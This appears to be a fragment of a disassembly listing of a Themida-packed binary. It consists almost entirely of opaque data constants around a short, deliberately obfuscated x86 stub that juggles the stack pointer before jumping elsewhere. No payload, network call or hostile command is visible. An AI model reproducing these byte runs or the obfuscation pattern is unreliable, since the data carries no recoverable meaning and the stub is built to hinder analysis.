		dd 0CBA11365h, 0DFE60639h, 343E0F2h, 8EE1BA58h,	43C95B5h
		dd 837C5769h, 54D87729h, 0E3h, 6179567Dh, 64805B29h, 69815E2Ch
		dd 6E866331h, 866200DAh, 8799346Ch, 42A43C8Eh, 0FB1AF714h
		dd 614A645Bh, 89CF552h,	0C5FD15F2h, 0BD0DA1EEh,	1527451Fh
		dd 332CBA37h, 0DE7A13A6h, 8E75F201h, 4C13A60Ch,	1FFE8AE3h
		dd 0DF38D30Bh, 0FE12F18Fh, 0C49F2BC6h, 0C3D570A8h, 9A0D82A1h
		dd 0A92CCBFFh, 0F68D0A0Ch, 6413A665h, 0F949A2FBh, 65651A97h
		dd 88F113A6h, 98369876h, 3615A1BDh, 3D4FEA22h, 408FEC44h
		dd 900D6F14h, 1B890FEBh, 0FF374F2Ch, 98AA1364h,	620050B9h
		dd 0C1D76B87h, 9676CAE6h, 0FB623483h, 1F535BBh,	41190000h
		dd 9C758B1Fh, 0F6D2E87Ch, 533248DCh, 0BA95AB3Fh, 0CB310A9Eh
		dd 79BB792h, 65F917F1h,	0C75B714Fh, 28BCD4B1h, 0B348C575h
		dd 1F13AB58h, 7B564BDAh, 0D8B5CB5Fh, 4D5B2CC0h,	0F9D77542h
		dd 0A510ABE3h, 1442A0DEh, 6ABA137Ch, 0A6A927EDh, 548CF513h
		dd 0A6A9D4A7h, 22627313h, 0E5FBD977h, 0A9631895h, 86EF13A6h
		dd 8669974h, 0E26FD878h, 98000000h, 29617956h, 0A65D805Bh
		dd 60E459ADh, 142E0A96h, 98E841DCh, 0F5071BFAh,	0E72B9D2Fh
		dd 0B0B63684h, 0B5171022h, 8014427Dh, 5F7F58A3h, 7F5C7206h
		dd 7E0CF370h, 61CA1442h, 96F9D008h, 5D4BC818h, 0B13A670h
		dd 22E052A2h, 0E1B8DBE8h, 603A5C6Eh, 0BDCFE3C2h, 69B9F59Ah
		dd 73F58A07h, 16113A6h,	0A673FF84h, 99F25B13h, 0AB2CA987h
		dd 0F7144095h, 0C5A03E8Eh, 9D3B15A9h, 0D570A8C0h, 0B2CEA9C3h
		dd 3478B85Eh, 27ADED62h, 0F7h, 891D3F17h, 0E67A9A73h, 46DAF4D0h
		dd 0A93D5130h, 89CB893h, 0B590C92Fh, 15EF0599h,	6F4D63F7h
		dd 0D2AFC559h, 0C37326BAh, 0AB59B146h, 49D81D13h, 0F5F7B56h
		dd 6B7D9371h, 47563349h, 35BA92D5h, 25908126h, 1442C45Eh
		dd 0C64393FCh, 1442C431h, 47DB349Dh, 61795676h,	667E5B29h
		dd 0D2DCB3D2h, 4DEB0582h, 6913ABh, 0D3B04EB0h, 4DAB50BBh
		dd 0BE2713ABh
		dd 53D5532h, 0C492586Ah, 0D7FCFE7h, 6DA90196h, 8BADBF52h
		dd 704D9875h, 0D4F2CC58h, 70A8019Ch, 4DE7CDEh, 0DA847BE6h
		dd 0E95213ABh, 51CDED7h, 64E14148h, 48603D20h, 0A9C19EB4h
		dd 81C8E759h, 0A654888Fh, 9E3CCE94h, 7D97A9C1h,	9B528A9Eh
		dd 0C09D80C4h, 477F9975h, 650353ACh, 9E397187h,	77546A8Ch
		dd 0B0AA0758h, 72513124h, 328B265Eh, 0C1BA1D9h,	0AA000000h
		dd 32C3358Dh, 0D5DCB12Bh, 56572C3Eh, 56245C7Eh,	5B296179h
		dd 612F677Dh, 63316987h, 66346C88h, 69376F8Bh, 703E768Ah
		dd 74427A94h, 0EE437B9Bh, 81E78957h, 4C7h, 4EF8300h, 8B243C87h
		dd 89502424h, 405E0h, 42D0000h,	87000000h, 895C2404h
		db 34h,	24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], eax
		push	7E9EDF8h
		mov	esi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	eax
		push	esi
		add	dword ptr [esp], 320126CBh
		pop	dword ptr [eax+8]
		push	ebp
		mov	ebp, 320126CBh
		sub	[eax+8], ebp
		pop	ebp
		mov	eax, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_58A287
; ---------------------------------------------------------------------------
		dd 7E9E9B18h, 0A57E35D8h, 0EB1E9CF0h, 0E9FADDB8h, 0FFC50307h
		dd 0D51A89E0h, 75310540h, 1FAB834Fh, 0D36D8F1Eh, 0BF20A636h
		dd 40640F2Ah, 0FD74722Ah, 0AAF4BB27h, 4FCE4432h, 4DAC2972h
		dd 34425652h, 0F00B700Fh, 0F0BC3571h, 6F1EA67Bh, 0B39EF54Dh
		dd 634EB627h, 27148F3Bh, 0FAB53350h, 9BCC3E1Ch,	6F102330h
		dd 0F017D57Ah, 0DA4DD50Dh, 0E12FB70Eh, 29659B09h, 0D9B59F4Dh
		dd 81DE6864h, 6CE2932Dh, 0D6998B17h, 47EA104Ch,	8094FD26h
		dd 0CCE4F44Fh, 0EB8D8D64h, 6A07E9FCh, 3E85000h,	20000000h
		dd 8958C358h, 81042444h, 17042444h, 40000000h, 8E46C350h
		dd 89F938F9h, 0E41B718Dh, 53006A07h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1A04h,	0C3534300h, 23A0D952h
		dd 0BFF1D597h, 44B9339h, 9305BA60h, 10E9120Ah, 0A5000000h
		dd 0F129392Bh, 1458D0E6h, 0F4E4E2DBh, 6101716Ch, 858D8960h
		dd 6107E414h, 2DA185C7h, 630807E4h, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 8B6679C3h
		dd 81BD89D7h, 0C707E418h, 0E422B985h, 7, 75858B00h, 0FF07E421h
		dd 0E40A59B5h, 51006A07h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1704h, 0C3514100h, 0D55D297Dh, 40D8503h
		dd 95FF07E4h, 7E43061h,	518529F8h, 6A07E42Ch, 4195FF00h
		db 0Eh,	0E4h
word_5E2176	dw 8B07h		; DATA XREF: Themida_:00583910o
		dd 5238EBC0h, 0E7E68EFDh, 0ED7B7841h, 937F6036h, 784DE870h
		dd 0CFA2ADF7h, 5026E484h, 7440AA29h, 0C318E629h, 0CDFCE8C9h
		dd 7DD83695h, 1FDE45BAh, 55536164h, 7AFCBFF4h, 0E97C4BD7h
		dd 36h,	520F32A1h, 0
		dd 4AC51C57h, 36614843h, 0A7A5ADF9h, 75528C88h,	0BE00B7FBh
		dd 0E5ADF99Ch, 9D89937Eh, 1DF4C700h, 19606392h,	0DEh, 0
		dd 0E9E90000h, 6800000Ah, 7E9FE79h, 0FA808AE9h,	0FF9B68FFh
		dd 80E907E9h, 68FFFA80h, 7EA0080h, 0FA8076E9h, 11368FFh
		dd 6CE907EAh, 68FFFA80h, 7EA01ECh, 0FA8062E9h, 2B968FFh
		dd 58E907EAh, 68FFFA80h, 7EA039Ch, 0FA804EE9h, 5D468FFh
		dd 44E907EAh, 68FFFA80h, 7EA06CCh, 0FA803AE9h, 1E4018FFh
		dd 7B9B748Ah, 0DBF5D1E7h, 3E523147h, 9DB994AAh,	91CA3009h
		dd 0F0069AB6h, 4E64F816h, 0B0C65A70h, 7427BBD3h, 5DB047C4h
		dd 0D91E13ABh, 6C424D4Ah, 5D8E9F1Ch, 54C413ABh,	61DF633Eh
		dd 76C61F2Ah, 0C825C704h, 8B9D4A0Dh, 1A320FADh,	2E512CCAh
		dd 18D4067Fh, 5567C021h, 0DDBB5933h, 80FD8FC7h,	13AB95FBh
		dd 8395EE57h, 3C748C69h, 2B8D2A65h, 0AB95C9AEh,	0B11C8513h
		dd 13AB95CAh, 0B5931F88h, 73CC679Fh, 68E0A623h,	45AE1442h
		dd 6B7A57F5h, 919309EEh, 35CC51Bh, 647C596Fh, 743A552Ch
		dd 8409A724h, 0EE571C75h, 48F6F69Ah, 0DD63A35Ah, 929h
		dd 41D5F7CFh, 9E32522Bh, 0FE92AC88h, 61F509E8h,	0C054704Bh
		dd 6D4801E7h, 0CDA7BD51h, 27051BAFh, 8A677D11h,	7B2BDE72h
		dd 0AB5E79FEh, 190D513h, 29617956h, 5A337E5Bh, 2E4DE13Ah
		dd 80FD4D61h, 13A6B30Eh, 6C45E345h, 0B41AE14Ch,	4FB813A6h
		dd 0A5F55E3Dh, 7ACD1B33h, 0C9E4A7F7h, 2C6E8AE7h, 51172982h
		dd 0A6CFDBA4h, 275F7013h, 77AE8877h, 204DD8h, 4D760000h
		dd 9F1C6C42h, 13A6A9E9h, 59063EA7h, 13A6AAA6h, 2C501425h
		dd 0D87807D3h, 0CE04h, 79562D00h, 805B2961h, 815E2C64h
		dd 86633169h, 9E00DA6Eh, 42A05A21h, 7D8FF814h, 42A30684h
		dd 0F13C1914h, 24C6FE12h, 62FD9ABCh, 0AA035CCFh, 0C8DEBC5Ah
		dd 0E295F590h, 0F5EE0596h, 0AEC4E6F8h, 0AA81B9D1h, 0FC79C9E5h
		dd 13A6147Ah, 2891D848h, 0A2C22E3Ah, 69DBB549h,	7E154D4Ah
		dd 7396A8D6h, 0C542921Ch, 14406CCAh, 31CF1F88h,	0CCA63A56h
		dd 55D6A85Ah, 0BB1B1071h, 5EA73C38h, 809AAC1Eh,	653589A5h
		dd 486234A4h, 8078208h,	19F10000h, 744D63F7h, 0CEAAC054h
		dd 2B0A20B4h, 926D8317h, 0E309E276h, 0DF738F6Ah, 3DD1EFC9h
		dd 9F334927h, 94AC89h, 5B209D4Dh, 0F713AB5Fh, 7B5623B2h
		dd 0D8B5CB5Fh, 0A0B74CC9h, 0BA231442h, 92FCCD61h, 0E9FB1BF4h
		dd 95E5C9C6h, 0A6A95218h, 0D7AF2113h, 0CACA2EABh, 0CC351426h
		dd 1714E794h, 0A2B313A6h, 0D855B7E2h, 13A61723h, 593446AFh
		dd 0D8775AA6h, 0AC2Fh, 79565800h, 805B2961h, 17F2C64h
		dd 141442A3h, 0D4AB2837h, 471442A4h, 9801526Ah,	0B895AB3Fh
		dd 0FE9168A0h, 0A4473CB9h, 0AA131442h, 82840151h, 0D013A6B0h
		dd 96A51767h, 7EACD97Ch, 0B2A4C5Eh, 5DDA2A84h, 14400A7Dh
		dd 0A0D79E10h, 0E24FCA0Ch, 3888F1D0h, 18A4BE9Ah, 3311233Bh
		dd 0A9EBA95h, 0A9FD19F4h, 623473FBh, 220086C6h,	0D6000007h
		dd 3248DCFEh, 8FA53959h, 0EF0599B3h, 5268FC10h,	0EEC75B77h
		dd 58744F08h, 0B6D4AEC4h, 182E0C22h, 79916E84h,	58232E5h
		dd 13A8A07Eh, 560897DCh, 0B5CB5F7Bh, 98B08DD8h,	0D86CC560h
		dd 61795607h, 667E5B29h, 7C5AF8D2h, 81932E66h, 42A0F788h
		dd 36781714h, 536B48E6h, 5DE66341h, 113AB5Dh, 0CFAA4898h
		dd 0CEE07BB3h, 15F08EF0h, 76CFEBC6h, 7791A33Eh,	0D8EE829Ah
		dd 0D4ABE3FBh, 26A3F3BBh, 144F5370h, 4D61B51Eh,	88623237h
		dd 68FC248h, 91690000h,	0ECC5DB6Fh, 462238CCh, 0A382982Ch
		dd 0AE5FB8Fh, 7B815AEEh, 57EB07E2h, 0B5496741h,	17ABC19Fh
		dd 780C2401h, 0E39815C5h, 6F13A8A1h, 30929B2Ah,	42A0CCB3h
		dd 12EE8A14h, 738D9FF8h, 78467E96h, 0D4B839Bh, 0BB590044h
		dd 99B3C5DFh, 7A9671BCh, 0FE4EA742h, 0D6CBC58Ch, 91A369F7h
		dd 1AF7956Fh, 0EA15F002h, 0EBE05B9Fh, 7, 1729E14h, 772D0000h
		dd 1442A084h, 0D5258906h, 8C680173h, 7C8DB663h,	49B3716Ah
		dd 0E48213ABh, 0A8A4EA05h, 0D137EF71h, 1E876678h, 31FA6CCEh
		dd 6871E8Fh, 0BA97B1C3h, 1BF80EA2h, 81DAF4D0h, 0AD52CF31h
		dd 2913A8DFh, 56E8AEC0h, 19D858E4h, 384AE918h, 0E4347A15h
		dd 4CADB167h, 0A2F65F14h, 62323116h, 0B60D93D3h, 42000005h
		dd 9EB4486Ah, 0FB11A5C5h, 5B71051Fh, 0BED4687Ch, 5A33C7E3h
		dd 0C4E0BB94h, 22401A30h, 849A788Eh, 0E5FDDAF0h, 71EE9E51h
		dd 13A8A18Ah, 56740348h, 5B296179h, 0F02E667Eh,	23007F27h
		dd 5FA0770Bh, 78E05C11h, 7, 0BE9EA1h, 4D2D0000h, 9F1C6C42h
		dd 13AB5D8Eh, 6D0B5BC4h, 4E6A4590h, 8E227B16h, 4B839B78h
		dd 43931B74h, 42A300C6h, 1565CE14h, 4A829A77h, 0DFA54FAFh
		dd 8F0B173Ch, 0CB3D9F7Dh, 7B99A10Ah, 819BAD46h,	1EF88CA4h
		dd 2C41DBACh, 0F3057EADh, 0D6B1FCD9h, 0AF1161BAh, 91634D32h
		dd 40A0091Bh, 41994420h, 9B617338h, 93E3CBC4h, 758AB816h
		dd 4B2AC61Ch, 0B64FF37h, 48ED0BB7h, 2CB2F25Ah, 4E9h, 8115370Fh
		dd 0DE72926Bh, 3ED2ECC8h, 0A1354928h, 94B08Bh, 0AD88C127h
		dd 0DE7FD91h, 67455BEFh, 0CAA7BD51h, 0BB6B1EB2h, 0A8A2B93Eh
		dd 41D01513h, 0CD16F492h, 467ED7F1h, 5DC799ABh,	56000001h
		dd 5B39424Dh, 0FE9CEC45h, 1E53041Fh, 0CDE02554h, 0D0A72474h
		dd 7E14422Bh, 0C3250315h, 0FA324625h, 0F9544D5Fh, 7913ABD6h
		dd 0EC5EC010h, 69243653h, 463DBAB0h, 1413A80Bh,	0AFF252ABh
		dd 371F8CE1h, 2E0B2537h, 8F6C8216h, 27683F77h, 604F6780h
		dd 8664BFD7h, 449D3870h, 21FD9BEBh, 2234CF07h, 7A01C744h
		dd 32D01441h, 4E2D3F53h, 1AF795E5h, 7B586E02h, 43C5230h
		dd 46D81069h, 4EACADD4h, 29A69801h, 1B964F52h, 2C3E9700h
		dd 0D8288609h, 72587D5Bh, 4EA20B1Ch, 5A473B7Eh,	6CD5393h
		dd 0F2000004h, 4E64F81Ah, 0ABC15575h, 0B21B5CFh, 6E84182Ch
		dd 0AE37793h, 74906BE4h, 0D2F0CAE0h, 344A283Eh,	95AD8AA0h
		dd 219E4E01h, 13A8A35Ah, 5624B3F8h, 5B296179h, 3E56337Eh
		dd 0DA126B06h, 0AC93D39Ch, 4923B7CFh, 530AACD7h, 0FF110E6Bh
		dd 5B80DB24h, 62FCE0h, 0AA1C0000h, 6D29885h, 4136B3D3h
		dd 0D14424Bh, 64394BA4h, 1C6C424Dh, 0A6EF3B9Fh,	0A0F05913h
		dd 0D50D2502h, 0E84A283Ah, 4052704Ah, 9C304A26h, 1CE360C2h
		dd 0BA13A6F0h, 0F026DD5Ah, 4BB413A6h, 708A66F2h, 928B9D38h
		dd 13A6F0E8h, 0A2364E2Bh, 4696B08Ch, 78B0CEA8h,	587851DDh
		dd 4EFA8046h, 89000003h, 2A627856h, 17677F5Ch, 4880A079h
		dd 63799BADh, 68366E86h, 0C123738Bh, 42A0BF44h,	0A0B21B14h
		dd 77305F7Eh, 22ADA3C6h, 0D3237C9Ch, 0A6E65456h, 61B11A13h
		dd 0B9CBE9C3h, 0B3EF61F3h, 4ECE8AF0h, 24D7D0E2h, 6F13A6E4h
		dd 556B4990h, 0F129821Dh, 0D6293F4Fh, 0B97BCEBh, 9FAA0E2Fh
		dd 7696F8BFh, 3D17E51Dh, 2A4CE71Fh, 61B9F9ADh, 3651450h
		dd 225F24A1h, 92FB13A6h, 0A6225027h, 995FE13h, 2500122Eh
		dd 0D8779BDAh, 58FBh, 0F4922400h, 2AC5FD19h, 0E19AF518h
		dd 17B2EA06h, 0A0B54AC7h, 0B8211442h, 0DC920F5Fh, 9B13A6A9h
		dd 910E23FDh, 13A6AAEAh, 94A6FF68h, 53B645B5h, 0DE4B6C39h
		dd 0DFA04D85h, 6C13A62Ah, 0E9CDA81Ah, 25650016h, 26E0FB9Dh
		dd 7B8DE68Ch, 9F6A6DEh,	0CED877DBh, 0D4h, 617956F7h, 31805B29h
		dd 0D1AC3858h, 89E27DB5h, 0A4C09B39h, 0F9BFD16Ch, 0FE364E2Bh
		dd 0D6F4CE6Ch, 0B5CDAAC4h, 0A3AE2C21h
		dd 0E4C11442h, 452238CCh, 62B21D26h, 247DB3B9h,	347A15ECh
		dd 8E482E4h, 90C8DCBBh,	918A9CF5h, 13A63803h, 3554E851h
		dd 8704545Ah, 1440EFA3h, 96F848B1h, 89306219h, 7854F01Bh
		dd 328B265Eh, 0C9A44220h, 0DD3F19ADh, 89309B60h, 0BCCE371Bh
		dd 42B4C7A2h, 0A719CC9Ch, 896ED95Bh, 0A1B8904h,	3FDA1230h
		dd 0D82C85EEh, 62349DFEh, 0CE61E727h, 2A000001h, 869C3052h
		dd 0E3F98DADh, 4359ED07h, 0A6BC5064h, 421BAFCBh, 0ACC8A3BCh
		dd 0A280218h, 6C826076h, 0CDE5C2D8h, 59D68639h,	13A8A5A2h
		dd 565CEB30h, 0B5CB5F7Bh, 5B2CC0D8h, 5F39424Dh,	5D3B0941h
		dd 4595EE47h, 0A6A902C8h, 0BA5FD113h, 0C77471AEh, 0FC654456h
		dd 186417C4h, 0D2E313A6h, 5915EA92h, 0DEC2D877h, 0EB000000h
		dd 29617956h, 2C64805Bh, 42A3017Fh, 0EC371414h,	0CBE5C112h
		dd 679FF893h, 0B12373CCh, 0E3D8387Dh, 5F8193F1h, 0D1A62385h
		dd 7D144244h, 0B6EE02E1h, 96B0C21Bh, 0B351A1B9h, 0B74CC9D4h
		dd 23144244h, 8E2961BAh, 0B0DFB67Ch, 0A331AEFEh, 0F113A64Ah
		dd 0BAD5F488h, 0D042A4F4h, 1EFDE390h, 6795AA0Ah, 6AC3D7B6h
		dd 0D6E802DEh, 402BDADDh, 0EF3FA814h, 0A5A7651h, 0E485E798h
		dd 5D91F105h, 4B6D7F5Eh, 0EA3E5A35h, 623516F6h,	0D67D0343h
		dd 22000000h, 7E94284Ah, 0DBF185A5h, 3B51E5FFh,	9EB4485Ch
		dd 3A13A7C3h, 0A4C09BB4h, 220FA10h, 647A586Eh, 0C5DDBAD0h
		dd 51CE7E31h, 13A8A6AAh, 5654E328h, 0F1CB5F7Bh,	0B7A9C07Fh
		dd 536581F7h, 0B0445C39h, 26E364D6h, 22829C78h,	96A8E564h
		dd 617956C1h, 667E5B29h, 0D2DCB3D2h, 0BA09E482h, 0F38EC6DCh
		dd 2DAA889Ah, 13AB5D7Fh, 0BE8CC42Dh, 1F35C9E1h,	45F22A42h
		dd 464E67ADh, 2502A05Eh, 2E07D50Dh, 6A3B50Eh, 0F302DF5Eh
		dd 8D978176h, 84E44D49h, 3C6C926Bh, 27BB14F1h, 0A8253411h
		dd 498DC2D3h, 85BD167Fh, 2C7955F3h, 64FF374Fh, 2638D30Bh
		dd 0E1192D0Ch, 2C13532Ah, 49E7374Fh, 0CD524A6Fh, 8DF3CFDFh
		dd 4F61FC34h, 223A172Dh, 364EAh, 8DF30000h, 5C7E563Eh
		dd 61795624h, 677D5B29h, 6987612Fh, 6C886331h, 6F8B6634h
		dd 768A6937h, 7A94703Eh, 7B9B7442h, 2F68EE43h, 89000018h
		dd 4D682404h, 8900003Dh, 89562434h, 4C681E6h, 83000000h
		dd 348704EEh, 2C895C24h, 0B9515524h, 6B1951B5h,	0AD4F181h
		dd 0CD8979D5h, 0D5F74D59h, 0EDC1D5F7h, 0ED814507h, 0F83B9AF5h
		dd 685DEE89h, 4293h, 83242489h,	5D042404h, 8BE5651h, 89000000h
		dd 0E9015EF1h, 0FF593189h, 835D2434h, 348B04C4h, 0E7895724h
		dd 4C781h, 0C7810000h, 4, 5C243C87h, 0FA75B2E9h, 300156FFh
		dd 6B78D1AFh, 0EA07C7B8h, 0FFC50307h, 82C57CE0h, 0A6577A3Eh
		dd 5730573Eh, 0BC63BD0Bh, 6C58086Dh, 0E8ABFA77h, 0BCDD3A4Fh
		dd 4D69CE48h, 80DE3D01h, 0BAB7673Ah, 0C07F7143h, 0ABE60A15h
		dd 4D322552h, 0BFDA524Eh, 2299767Ah, 677CA71Ah,	2A46884Dh
		dd 6E63747h, 59F9877Ch,	3CD1BF16h, 277F6954h, 4E73A754h
		dd 0BDCB0548h, 9E837h, 96BB0000h, 6501A5C9h, 0E965AD20h
		dd 0Fh,	0C0B323DCh, 2AFCBA9h, 8EDED207h, 5E2FA141h, 11E9h
		dd 543D3D00h, 606B2F41h, 8518481Ah, 2CBCAADDh, 0C681C171h
		dd 5D39h, 68h, 8B665600h, 8A585FCEh, 3034FFF0h,	0DDE18166h
		dd 8B535B77h, 0F3815FCAh, 43BED289h, 5890Fh, 38BA0000h
		dd 81180D04h, 0E7596DF3h, 0F7816675h, 0F38166E0h, 6D04FB9Bh
		dd 89FEBF0Fh, 0EE9061Ch, 7C000000h, 86A3CB0Dh, 0D528520Fh
		dd 5814978Ch, 4E88348h,	0A8F0Fh, 5E90000h, 79000000h, 0D2B27F39h
		dd 0A374F881h, 850FFFFFh, 0FFFFFF99h, 0E9D3B70Fh, 2Fh
		dd 7AE9615Eh, 0Ah dup(0)
		dd 0E9000000h, 0C61h, 0EA0B3068h, 550BE907h, 1A68FFFBh
		dd 0E907EA0Ch, 0FFFB5501h, 0EA0E0868h, 54F7E907h, 0E368FFFBh
		dd 0E907EA0Eh, 0FFFB54EDh, 0EA11B268h, 54E3E907h, 1F68FFFBh
		dd 0E907EA13h, 0FFFB54D9h, 0EA148068h, 54CFE907h, 96C4FFFBh
		dd 0DF7A8FC2h, 252F4477h, 79DFF427h, 0C093A8DBh, 0B823578Ah
		dd 79AC9EB5h, 2C5FF364h, 0DE113F17h, 8FC28CC9h,	0ADDDC02Ah
		dd 0B223FF97h, 70F002FEh, 8DBDA0BCh, 9223FFA5h,	0D6C87185h
		dd 18342009h, 7CD968E7h, 0CA8E2632h, 0AAF3468Ah, 6CE27366h
		dd 0A396DA23h, 61699CB2h, 16F9434Fh, 23F9A2D3h,	9887CBD8h
		dd 23F9A164h, 4A1639CCh, 5A5E8C12h, 2A19h, 0C0E61800h
		dd 9C9B7EC8h, 7F23F997h, 0B3F2E72h, 7323F998h, 4474579Fh
		dd 4923F998h, 7DD20B3Ch, 5EAAB9F1h, 0EFBE5Ah, 0D9BD0000h
		dd 9B8ED27Ch, 614892B8h, 0B42859F3h, 85EF4E60h,	34CE03E5h
		dd 96E92D21h, 52031C4Dh, 876AB2FCh, 1C167457h, 0A2164754h
		dd 5008A6AFh, 8A71BB04h, 0DE76E2CAh, 0CDFE5195h, 790A596Ah
		dd 52031C16h, 9F9CA931h, 0BC997618h, 0CD004992h, 6DB19DB8h
		dd 69E6187h, 0E58E8C40h, 593C86CFh, 23F9F69Eh, 0C9D10411h
		dd 1961ABA7h, 86B40007h, 23549003h, 0E0B1CA0Eh,	78C2CF2Bh
		dd 440E4930h, 637CAD00h, 0B59DBAF0h, 75D57E71h,	3AB0E32Ch
		dd 984A3228h, 0FF30DEEFh, 0EBDD6DE6h, 0C2A5DD3Bh, 3C262347h
		dd 900000Ah, 0BFD40751h, 7489BC9Ah, 24396CE0h, 0D8ED2034h
		dd 689CCF7Bh, 0F159FA43h, 0A4AEA9BEh, 56FA5C71h, 7470E23h
		dd 22056FD4h, 23FF99F2h, 0D94243F7h, 3E86D07Ah,	0E94FE32Ch
		dd 0A085B8D4h, 1C162170h, 0CC2F606Dh, 7DB09EB7h, 0C8C0E602h
		dd 979C9B7Eh, 727F23F9h, 980B3F2Eh, 0E07323F9h,	0AABBF36Fh
		dd 0D3C05A5Eh, 0BF000000h, 8ED27CD9h, 0FDC7B89Bh, 0D169D3CBh
		dd 0B097E12Ah, 478A9A5h, 160EC615h, 400E471Ch, 0A4B0970Dh
		dd 0E01164A8h, 10F58EC7h, 6C2376CEh, 8DD185D4h,	5EA8F13Ah
		dd 2C70DE77h, 4E34A8D9h, 3E63038h, 23FA6848h, 1D044E5Bh
		dd 81D4183Ah, 0C3E5ED50h, 4E357DC7h, 0B1044808h, 47166B80h
		dd 8C992BE1h, 0CFB2FA42h, 1C17C59Fh, 455E8F9Ch,	0F4093C0Eh
		dd 440A4B5Fh, 1CB309FBh, 7B9FC2A6h, 9527Eh, 0F167F300h
		dd 0A6B0A9BEh, 56F65E73h, 0A4A0E23h, 0B991C2D7h, 0E4695286h
		dd 93A8DB6Fh, 465B8EC4h, 0F80D4010h, 59BEF15Dh,	9ADC0CEFh
		dd 2DE123FFh, 0CF7AD92Ch, 158EBCECh, 6BB4C11Ch,	1C322338h
		dd 3BA2C0D2h, 0EADD64A8h, 0CFED44E7h, 96C710C7h, 7CD9B833h
		dd 0BA9B8ED2h, 8EB60F4h, 1C158ED8h, 3B7FC8D5h, 646C9FE8h
		dd 19FC4642h, 23F9AD86h, 45387C89h, 0DF43E10h, 74D7084Ah
		dd 9FB8F65Fh, 37266AB3h, 0B77DD02Dh, 0BA2728CFh, 6B80B39Bh
		dd 312064EAh, 0B075CBFEh, 7BDCDA7Fh, 0F74093D7h, 0BA97C0B3h
		dd 75CBA7D7h, 4E97A4B0h, 0EA65000Ah, 222D729Dh,	8BBE90C5h
		dd 2B6FDF76h, 75CC033Ch, 3042F8B0h, 1105460Fh, 0D8114249h
		dd 63EB6A77h, 143A1B30h, 51347CD0h, 87B57E21h, 0D4E0111Eh
		dd 0A2D2B5B2h, 0A787B57Dh, 2407519Ah, 8F999CB5h, 7CAC8FD7h
		dd 8188917Fh, 86CC8B74h, 4811BE55h, 947BC50Eh, 0F75A8BBFh
		dd 87D1D9EFh, 759F85A4h, 0C926A90h, 38D882F6h, 186CB0F9h
		dd 0DA147406h, 9ECF4D0Eh, 0B4F35689h, 2629BC87h, 6EE87158h
		dd 0EA6D72Ah, 3625FB5Eh, 4C5DDh, 5DCFE100h, 0EA1AFDC6h
		dd 0EF87B4F6h, 14C3CEE2h, 42E46394h, 5C547A2Fh,	71E3CA12h
		dd 304497DBh, 619093BAh, 6C81B21Dh, 23FA7165h, 5AF66047h
		dd 0FB92C316h, 52ED78EEh, 7200C9FAh, 5384CA8Bh,	6E5E2147h
		dd 7B1E6436h, 629275BFh, 67F740E0h, 7FC7115Ah, 0B095C198h
		dd 0F740E080h, 4326707Dh, 0F740E113h, 60DA0B18h, 25039E7Dh
		dd 0AAF401FFh, 0FF4F7F62h, 3E4CF8E4h, 0E4FF2B5Bh, 0DA2330F8h
		dd 0BBEC66F1h, 434F6147h, 3ABE16F9h, 80C800C9h,	40D96D9Dh
		dd 346572F7h, 5F46909Dh, 0B4A0B8F6h, 0A1D41D70h, 9385C98Ch
		dd 0E77D091Fh, 64E2DF03h, 0E1000007h, 97ACDF79h, 4C6194C2h
		dd 0FC114408h, 0B0C5F85Ch, 4074A7A3h, 0C981D29Bh, 7CD68196h
		dd 2E223449h, 0DF6FE6FBh, 0FADD47ACh, 23FF9CCAh, 0D91A1BCFh
		dd 9B8ED27Ch, 0EA6093B9h, 8E8FBFA2h, 4E0A1C15h,	86FC206h
		dd 0BFA7CAFBh, 0AC000000h, 0ADC4CCE6h, 431C16C9h, 9F08600Ch
		dd 642F5DBAh, 2E000000h, 7AC4CCE6h, 498DC393h, 684BC5F6h
		dd 1C158F35h, 19492C3Ah, 161C158Fh, 9C95B63Eh, 63ACBD6Bh
		dd 72E3D61Ah, 0C194A9DCh, 0A1EA6CEDh, 5951775Dh, 2430280Fh
		dd 0E25C8DE0h, 0BA1B39Ah, 70C3074Dh, 2E1F627h, 5D23F9C3h
		dd 6BFE0C50h, 0A9D088E4h, 967D5A5Eh, 0C26293C3h, 7, 117CFC1h
		dd 0E6D40000h, 9B7EC8C0h, 23F9AEA4h, 40887A87h,	44BAC434h
		dd 6892320h, 9EBC0000h,	0E77287BAh, 2D273C6Fh, 81D7EC1Fh
		dd 0C88BA0D3h, 0B01B4F82h, 71A4A6ADh, 2457FB5Ch, 0D609470Fh
		dd 87BA94C1h, 0A5D5B822h, 0AA23FF9Ch, 0CCE6F5F6h, 65C9ADC4h
		dd 313D12EBh, 5DBAA379h, 7EFEh,	0CCE6FD00h, 4C687AC4h
		dd 0A1574271h, 165FEB68h, 54BA9EE5h, 1E4A05DEh,	5DBA2D4Eh
		dd 5EEDh, 490AF100h, 7851D001h,	8F1D4D30h, 75221C15h, 0DB2E72E4h
		dd 45027E92h, 0D8998788h, 79799BA7h, 0D404E72Fh, 0D91C164Dh
		dd 4DB8E8CBh, 0A8B51C16h, 3E72E5Fh, 0EC344E88h,	164DD909h
		dd 0E0C9D61Ch, 4194D874h, 6F78D710h, 1C165642h,	4371CD90h
		dd 0A3EC592Bh, 0BA6D623Bh, 0FEB2075Dh, 0E606FFFFh, 687AC4CCh
		dd 0BAF8D4h, 59A0D13Eh,	1B38FA75h, 91CDEB2Fh, 1751772Ah
		dd 96C09982h, 8FC03552h, 0C448627h, 0CD1639C5h,	0B0BC936Ch
		dd 5DBAB3F8h, 0BA9ABEA5h, 52F22376h, 23Ah, 0CF7AD951h
		dd 8E74A487h, 6C791C15h, 158F5787h, 0FE47541Ch,	2391C7BAh
		dd 88DB1F35h, 8F2B5B3Eh, 23301C15h, 6B1296DAh, 0FE4C07E4h
		dd 0AD9DB6CBh, 656D8369h, 0A82D381Bh, 0D5E223F9h, 63EC8791h
		dd 0CAFADD25h, 0CF23F9A7h, 0DB7891C2h, 2C273C6Fh, 9F86DA1Eh
		dd 6A4D97B5h, 23F9A83Ah, 0EC01323Fh, 23F9A8B8h,	0EF33193Bh
